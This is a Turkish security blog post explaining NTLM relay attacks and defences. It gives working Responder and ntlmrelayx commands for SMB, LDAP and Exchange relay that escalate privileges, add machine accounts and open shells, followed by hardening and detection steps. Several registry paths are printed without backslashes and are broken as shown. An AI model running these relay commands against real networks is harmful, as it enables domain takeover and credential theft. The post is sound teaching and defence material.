NTLM Relay Saldırısı Nedir ve Nasıl Önlenir?
Kurumsal ağlarda en sık karşılaşılan ve ciddi hasara yol açan saldırı tekniklerinden biri olan NTLM Relay, yanlış yapılandırılmış bir Windows ortamında saldırganların dakikalar içinde domain admin yetkisi kazanmasına olanak tanıyabilir. Bu yazıda konuyu hem teorik hem de pratik açıdan ele alacak, gerçek dünya senaryolarıyla savunma stratejilerini aktaracağım.
NTLM Nedir ve Neden Hâlâ Kullanılıyor?
NTLM (NT LAN Manager), Microsoft’un kimlik doğrulama protokolüdür. Kerberos’un tercih edildiği modern ortamlarda bile NTLM hâlâ şu durumlarda devreye girer:
- Bir makine domain’e dahil değilse
- Hedef sistem IP adresiyle çağrılıyorsa (hostname yerine)
- DNS çözümlemesi başarısız olursa
- Eski uygulamalar Kerberos desteklemiyorsa
- SMB bağlantılarında fallback mekanizması olarak
NTLM’in temel sorunu challenge-response mekanizmasının tasarımından kaynaklanır. Kullanıcının şifresi doğrudan iletilmez, ancak hash üzerinden yapılan doğrulama süreci saldırganlara yeniden iletim (relay) fırsatı verir.
Saldırı Nasıl Çalışır?
NTLM Relay’in üç temel aktörü vardır:
- Kurban: Kimlik doğrulaması yapan kullanıcı veya makine
- Saldırgan: Ortadaki konumda NTLM trafiğini yakalayan sistem
- Hedef: Saldırganın kurbanın kimliğiyle erişmek istediği servis
Saldırı akışı şu şekilde ilerler:
- Saldırgan, kurbanı kendi sistemine kimlik doğrulaması yapmaya zorlar (LLMNR/NBT-NS zehirleme, sahte SMB sunucusu vb.)
- Kurban NTLM kimlik doğrulama isteği gönderir
- Saldırgan bu isteği gerçek hedef sunucuya iletir
- Hedef sunucu challenge gönderir, saldırgan bunu kurban’a aktarır
- Kurban challenge’ı kendi hash’iyle imzalar
- Saldırgan bu imzalanmış yanıtı hedefe iletir ve kimlik doğrulamayı tamamlar
Sonuç: Saldırgan, kurbanın yetkisiyle hedef sistemde oturum açmış olur. Kurbanın şifresini bilmeden.
Laboratuvar Ortamı Kurulumu
Gerçek ortamda test etmeden önce izole bir lab kurmak şart. Ben genellikle şu yapıyı kullanıyorum:
- Windows Server 2019 (Domain Controller)
- Windows 10 Pro (Kurban makine, domain’e dahil)
- Kali Linux (Saldırgan makine)
Responder ve ntlmrelayx bu saldırının iki temel aracıdır.
# Kali üzerinde Responder kurulumu (genellikle hazır gelir)
sudo apt update && sudo apt install -y responder impacket-scripts
# Responder yapılandırma dosyasını kontrol et
cat /etc/responder/Responder.conf
# SMB ve HTTP'yi KAPATIN, çünkü ntlmrelayx bu portları kullanacak
# Responder.conf içinde:
# SMB = Off
# HTTP = Off
Bu noktada kritik bir ayrıntı var. Responder ve ntlmrelayx aynı anda çalışacaksa, Responder yalnızca LLMNR/NBT-NS zehirleme için kullanılmalı, SMB sunucusu olarak değil.
# LLMNR/NBT-NS zehirleme başlat
sudo responder -I eth0 -rdwv
# Yeni terminal açıp ntlmrelayx başlat
# Hedef IP: 192.168.1.50 (domain controller veya başka bir sunucu)
sudo ntlmrelayx.py -t smb://192.168.1.50 -smb2support
Kurban makine, ağda var olmayan bir hostname’e erişmeye çalıştığında (örneğin \FILESERVERshare yazdığında), Responder bu isteği yakalar ve kurbanı kendi IP’sine yönlendirir. ntlmrelayx devreye girer ve kimlik doğrulamayı hedefe iletir.
Gerçek Dünya Senaryosu: Muhasebe Departmanı Vakası
Geçmişte danışmanlık yaptığım bir firmada şöyle bir senaryo yaşandı. Muhasebe departmanındaki bir kullanıcı, “FILESERVER01” adlı bir paylaşıma bağlanmaya çalışıyordu. Ancak sunucunun adı değişmiş, DNS kaydı güncellenmemişti. Windows LLMNR ile ağa soru sormaya başladı.
Pentest ekibinin Kali makinesi bu sorguyu yakaladı ve kullanıcının kimlik bilgileriyle Domain Controller’a SMB bağlantısı kurdu. Kullanıcının domain admin yetkisi olmasa bile, relay saldırısı için local admin yetkisi yeterliydi. Birkaç dakika içinde secretsdump ile tüm hash’ler elde edildi:
# Eğer relay başarılı olursa ve SMB üzerinden shell istenirse
sudo ntlmrelayx.py -t smb://192.168.1.50 -smb2support -i
# Interactive shell için nc ile bağlan
nc 127.0.0.1 11000
# Alternatif olarak doğrudan komut çalıştırma
sudo ntlmrelayx.py -t smb://192.168.1.50 -smb2support -c "whoami"
Daha da tehlikeli olan senaryo ise makineden makineye relay. Bir makine hesabı (MACHINE$) relay edildiğinde, hedef makinede local admin yetkisiyle işlem yapılabiliyor.
LDAP Relay: Daha Sessiz ve Daha Tehlikeli
SMB relay iyi bilindiği için birçok organizasyon SMB signing’i etkinleştiriyor. Ancak LDAP relay gözden kaçıyor. DC’ye LDAP üzerinden relay yapılabilirse saldırgan çok daha kapsamlı şeyler yapabilir.
# LDAP relay ile yeni kullanıcı oluşturma veya DCSync yetkisi verme
sudo ntlmrelayx.py -t ldap://192.168.1.10 --escalate-user kurbankullanici
# LDAPS için
sudo ntlmrelayx.py -t ldaps://192.168.1.10 -smb2support --add-computer
# DC'ye relay yapıp ACL değiştirme (DCSync saldırısına zemin hazırlar)
sudo ntlmrelayx.py -t ldap://192.168.1.10 --delegate-access
LDAP relay başarılı olduğunda saldırgan; yeni bilgisayar hesabı oluşturabilir, mevcut hesaplara DCSync yetkisi verebilir ve Active Directory üzerinde kalıcı erişim sağlayabilir.
WebDAV ve HTTP Relay Kombinasyonu
Bir diğer gözden kaçan vektör HTTP/WebDAV üzerinden NTLM relay. Özellikle Exchange Server veya şirket içi web uygulamaları hedef olabilir.
# Exchange'e HTTP relay (EWS endpoint)
sudo ntlmrelayx.py -t http://mail.sirket.local/EWS/Exchange.asmx -smb2support
# WebDAV üzerinden relay
sudo ntlmrelayx.py -t http://192.168.1.100/ --smb2support -wu http
# Responder ile WebDAV isteklerini de yakala
sudo responder -I eth0 -rdwFPv
Exchange üzerinde başarılı relay, saldırgana kurbanın tüm e-postalarına erişim ve organizasyon içi phishing için mükemmel bir platform sağlar.
Savunma Stratejileri
İşte asıl konuya geldik. Bu saldırıyı durdurmak için birden fazla katmanlı önlem almak gerekiyor.
SMB Signing Zorunlu Hale Getirme
SMB signing, relay saldırılarının büyük çoğunluğunu engeller. İmzalı bir oturum relay edilemez çünkü saldırganın imzalama anahtarı yoktur.
# Group Policy ile SMB Signing zorunlu kıl
# Bilgisayar Yapılandırması > Windows Ayarları > Güvenlik Ayarları > Yerel İlkeler > Güvenlik Seçenekleri
# PowerShell ile kontrol et
Get-SmbServerConfiguration | Select RequireSecuritySignature, EnableSecuritySignature
# Sunucu tarafında zorunlu hale getir
Set-SmbServerConfiguration -RequireSecuritySignature $true -Force
# İstemci tarafında da etkinleştir
Set-SmbClientConfiguration -RequireSecuritySignature $true -Force
# Tüm domain'deki makinelerin SMB signing durumunu kontrol et
$computers = Get-ADComputer -Filter * | Select-Object -ExpandProperty Name
foreach ($computer in $computers) {
try {
$config = Get-SmbServerConfiguration -CimSession $computer -ErrorAction Stop
[PSCustomObject]@{
Bilgisayar = $computer
SigningZorunlu = $config.RequireSecuritySignature
SigningEtkin = $config.EnableSecuritySignature
}
} catch {
Write-Warning "$computer erisilemedi"
}
}
LLMNR ve NBT-NS Devre Dışı Bırakma
Relay saldırısı için kurbanın saldırgana bağlanması gerekir. LLMNR ve NBT-NS’i kapatmak bu vektörü ortadan kaldırır.
# Group Policy ile LLMNR kapat
# Bilgisayar Yapılandırması > Yönetim Şablonları > Ağ > DNS İstemcisi
# "Çok Noktaya Yayın Adı Çözümlemesini Kapat" = Etkin
# Registry üzerinden LLMNR devre dışı bırak
New-ItemProperty -Path "HKLM:SOFTWAREPoliciesMicrosoftWindows NTDNSClient" `
-Name "EnableMulticast" -Value 0 -PropertyType DWORD -Force
# NBT-NS devre dışı bırak (her NIC için yapılmalı)
$adapters = Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object { $_.IPEnabled -eq $true }
foreach ($adapter in $adapters) {
$adapter.SetTcpipNetbios(2) # 2 = Disable NetBIOS over TCP/IP
Write-Host "$($adapter.Description) icin NetBIOS devre disi birakildi"
}
LDAP Signing ve Channel Binding
LDAP relay’i engellemek için DC’de LDAP signing ve channel binding zorunlu hale getirilmeli.
# DC'de LDAP signing gerekliliğini ayarla
# Registry üzerinden:
Set-ItemProperty -Path "HKLM:SystemCurrentControlSetServicesNTDSParameters" `
-Name "LDAPServerIntegrity" -Value 2
# LDAPServerIntegrity değerleri:
# 0 = Yok
# 1 = İmzalama anlaşıldığında imzala
# 2 = İmzalama zorunlu (önerilen)
# LDAP Channel Binding için (Windows Server 2019+ ve güncel 2016):
Set-ItemProperty -Path "HKLM:SystemCurrentControlSetServicesNTDSParameters" `
-Name "LdapEnforceChannelBinding" -Value 2
NTLM’i Tamamen Devre Dışı Bırakma
Mümkün olduğunda NTLM’i tamamen kapatmak en etkili çözümdür. Ancak bu karar dikkatli değerlendirilmeli, çünkü bazı eski uygulamalar kırılabilir.
# Önce NTLM kullanımını logla, kapat madan önce bağımlılıkları anla
# Audit NTLM kullanımı için Group Policy:
# Bilgisayar Yapılandırması > Windows Ayarları > Güvenlik Ayarları > Yerel İlkeler > Güvenlik Seçenekleri
# "Ağ güvenliği: NTLM'yi kısıtla: Giden NTLM trafiğini uzak sunuculara denetle" = Tümünü Denetle
# NTLM event'lerini izle
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=8001,8002,8003,8004} -MaxEvents 100 |
Select-Object TimeCreated, Message |
Format-List
# NTLM'i belirli sunucularda engelle (kademeli yaklaşım)
# Network Security: Restrict NTLM: Outgoing NTLM traffic to remote servers = Deny All
Extended Protection for Authentication (EPA) Etkinleştirme
Bu özellikle Exchange ve IIS tabanlı HTTP relay’lere karşı etkilidir.
# IIS üzerinde EPA etkinleştir
Import-Module WebAdministration
# Windows Authentication için EPA ayarla
Set-WebConfigurationProperty -Filter "system.webServer/security/authentication/windowsAuthentication" `
-Name "extendedProtection.tokenChecking" -Value "Require" -PSPath "IIS:SitesDefault Web Site"
# Exchange'de EPA durumunu kontrol et
# Exchange 2019 varsayılan olarak EPA destekler
Get-AuthConfig | Select-Object Name, ExtendedProtectionPolicy
Ağ Segmentasyonu ve Firewall Kuralları
# Linux firewall ile belirli NTLM relay vektörlerini engelle
# SMB portlarını (445, 139) yalnızca gerekli kaynaklardan kabul et
# Örnek iptables kuralları
sudo iptables -A INPUT -p tcp --dport 445 -s 192.168.1.0/24 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 445 -j DROP
sudo iptables -A INPUT -p tcp --dport 139 -s 192.168.1.0/24 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 139 -j DROP
# Kuralları kaydet
sudo iptables-save > /etc/iptables/rules.v4
Saldırı Tespiti İçin Log İzleme
# NTLM relay belirtisi olabilecek event'leri izle
# Event ID 4624: Başarılı oturum açma
# Event ID 4625: Başarısız oturum açma
# Event ID 4648: Açık kimlik bilgileriyle oturum açma girişimi
# Anormal NTLM oturum açmalarını tespit et
$events = Get-WinEvent -FilterHashtable @{
LogName = 'Security'
Id = 4624
StartTime = (Get-Date).AddHours(-24)
} | Where-Object {
$_.Properties[8].Value -eq 'NTLM'
}
foreach ($event in $events) {
$xml = [xml]$event.ToXml()
[PSCustomObject]@{
Zaman = $event.TimeCreated
KullaniciAdi = $xml.Event.EventData.Data | Where-Object {$_.Name -eq 'TargetUserName'} | Select-Object -ExpandProperty '#text'
KaynakIP = $xml.Event.EventData.Data | Where-Object {$_.Name -eq 'IpAddress'} | Select-Object -ExpandProperty '#text'
OturumTuru = $xml.Event.EventData.Data | Where-Object {$_.Name -eq 'AuthenticationPackageName'} | Select-Object -ExpandProperty '#text'
}
}
Önceliklendirme: Hangi Adımı Önce Atmalısın?
Tüm önlemleri bir anda uygulamak mümkün olmayabilir. Pratik bir önceliklendirme yaklaşımı şu şekilde olabilir:
- İlk Hafta: SMB signing’i domain controller’larda ve sunucularda zorunlu hale getir. Bu en kritik adım.
- İkinci Hafta: LLMNR ve NBT-NS’i kapatmak için GPO dağıt. Test ortamında başla.
- İlk Ay: LDAP signing ve channel binding’i etkinleştir. Uyumlu olmayan istemcileri tespit et.
- İkinci Ay: NTLM kullanımını audit et, bağımlılık haritası çıkar.
- Üçüncü Ay: Kademeli olarak NTLM kısıtlamalarını uygulamaya başla.
Periyodik Doğrulama
Yapılandırmalar zamanla sürüklenebilir. Yeni makineler eklenir, GPO’lar uygulanmaz, istisnalar kalıcı hale gelir. Bunları periyodik kontrol etmek şart.
# Nmap ile SMB signing durumunu ağ genelinde tara
nmap -p 445 --script smb-security-mode 192.168.1.0/24 -oN smb_signing_audit.txt
# Signing zorunlu olmayan makineleri filtrele
grep -A 5 "message_signing: disabled" smb_signing_audit.txt
# CrackMapExec ile daha detaylı tarama
crackmapexec smb 192.168.1.0/24 --gen-relay-list relay_targets.txt
# Bu komut relay'e açık hedefleri listeler
Bu listeyi düzenli olarak çalıştırıp sonuçları karşılaştırmak, yeni açıkların erken tespitini sağlar.
Sonuç
NTLM Relay, kulağa karmaşık gelen ama uygulaması inanılmaz derecede kolay bir saldırı tekniği. Saldırgan herhangi bir şifreyi kırmak zorunda değil, sadece trafiği doğru yere yönlendirmesi yeterli. En kötüsü, kurban tarafında görünür bir iz bırakmıyor.
Savunma tarafında ise durum görece iyi: SMB signing, LLMNR kapatma ve LDAP signing üçlüsünü uygulayan bir ortamda relay saldırısı dramatik biçimde zorlaşır. Bu üç adım bile saldırganın işini ciddi ölçüde güçleştirir.
Asıl tehlike, “biz küçük bir şirketiz, saldırganlar bizi hedef almaz” düşüncesi. Otomatize araçlar küçük büyük demeden tüm ağı tarar. Muhasebe departmanındaki örneği hatırla: DNS kaydı güncellenmemiş bir sunucu adı, domain’in tamamen ele geçirilmesine zemin hazırladı.
Bugün yapabileceğin en iyi şey, Nmap veya CrackMapExec ile SMB signing durumunu ağında kontrol etmek ve relay’e açık hedeflerin listesini çıkarmak. Rakamlar gördükten sonra ne kadar acil olduğunu kendin anlarsın.
